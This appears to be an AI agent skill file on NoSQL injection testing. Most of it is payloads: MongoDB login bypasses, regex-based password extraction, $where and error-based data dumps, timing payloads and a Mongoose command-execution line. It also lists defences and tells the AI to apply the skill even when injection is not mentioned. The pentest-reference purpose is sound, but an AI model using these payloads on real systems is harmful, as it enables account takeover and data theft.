Hacktricks-skills nosql-injection

How to test for NoSQL injection vulnerabilities in MongoDB and other NoSQL databases. Use this skill whenever the user mentions NoSQL injection, MongoDB injection, database injection testing, authentication bypass, or wants to test for NoSQL vulnerabilities in web applications. Make sure to use this skill for any security testing involving MongoDB, Mongoose, or NoSQL databases, even if the user doesn't explicitly mention 'injection'.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/nosql-injection/SKILL.MD
source content

NoSQL Injection Testing

A comprehensive guide for testing NoSQL injection vulnerabilities in MongoDB and similar databases.

Overview

NoSQL injection occurs when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection exploits the document-based query structure of databases like MongoDB.

Common Operators

MongoDB uses special operators that can be exploited:

OperatorDescriptionExample
$ne
Not equals
username[$ne]=1
$eq
Equals
username[$eq]=admin
$regex
Regular expression
username[$regex]=^adm
$gt
Greater than
pass[$gt]=s
$lt
Less than
pass[$lt]=s
$nin
Not in array
username[$nin][admin]=admin
$where
JavaScript execution
{ $where: "this.credits == this.debits" }
$exists
Field exists
username[$exists]=true

Authentication Bypass

URL Parameters

# Using $ne operator
username[$ne]=toto&password[$ne]=toto

# Using regex to match anything
username[$regex]=.*&password[$regex]=.*

# Using $exists
username[$exists]=true&password[$exists]=true

JSON Body

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

SQL-style Injection in MongoDB

// Normal SQL injection
' or 1=1-- -

// MongoDB equivalent
' || 1==1//
' || 1==1%00
admin' || 'a'=='a

Data Extraction Techniques

Extract Password Length

# Test if password length equals 1
username[$ne]=toto&password[$regex]=.{1}

# Test if password length equals 3
username[$ne]=toto&password[$regex]=.{3}

Extract Password Characters

# If length is 3, test each character
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

JSON-based Extraction

{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"}}

Using $where for Field Matching

/?search=admin' && this.password%00 --> Check if password field exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> Start matching
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 --> Found

Advanced Techniques

Cross-Collection Data Access

Use

$lookup
to read from different collections (requires
aggregate()
):

[
  {
    "$lookup": {
      "from": "users",
      "as": "resultado",
      "pipeline": [
        {
          "$match": {
            "password": {"$regex": "^.*"}
          }
        }
      ]
    }
  }
]

Error-Based Injection

Exfiltrate documents via JavaScript errors:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

PHP Arbitrary Function Execution

Using MongoLite's

$func
operator:

"user":{"$func": "var_dump"}

Common Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;
|| 1==1
|| 1==1//
|| 1==1%00
{ $gt: '' }
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Recent CVEs (2023-2025)

CVE-2023-28359 - Rocket.Chat Blind NoSQLi

Unauthenticated blind NoSQL injection in Rocket.Chat ≤ 6.0.0 via

listEmojiCustom
Meteor method.

Exploit:

{"$where":"sleep(2000)||true"}

CVE-2024-53900 & CVE-2025-23061 - Mongoose RCE

Mongoose

populate().match
with
$where
executes JavaScript in Node.js.

Exploit:

// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find().populate({ path: 'author', match: req.query.author });

GraphQL → MongoDB Filter Confusion

query users($f:UserFilter){
  users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Defensive Measures

  1. Strip dangerous keys: Use
    express-mongo-sanitize
    ,
    mongo-sanitize
    , or Mongoose
    sanitizeFilter: true
  2. Disable server-side JavaScript:
    --noscripting
    flag (default in MongoDB v7.0+)
  3. Avoid
    $where
    : Prefer
    $expr
    and aggregation builders
  4. Validate data types: Use Joi/Ajv, disallow arrays where scalars expected
  5. GraphQL: Translate filter arguments through allow-list; never spread untrusted objects

Automation Scripts

Use the bundled scripts for automated testing:

  • scripts/nosql-bruteforce.py
    - Extract passwords character by character
  • scripts/nosql-username-enumeration.py
    - Enumerate usernames and passwords

See the scripts directory for usage instructions.

Testing Workflow

  1. Identify the target: Find login forms, search parameters, or API endpoints
  2. Test for vulnerability: Try basic
    $ne
    or
    $regex
    payloads
  3. Determine injection point: URL params, JSON body, GraphQL variables
  4. Extract data: Use regex-based character extraction
  5. Document findings: Record payloads, endpoints, and impact

References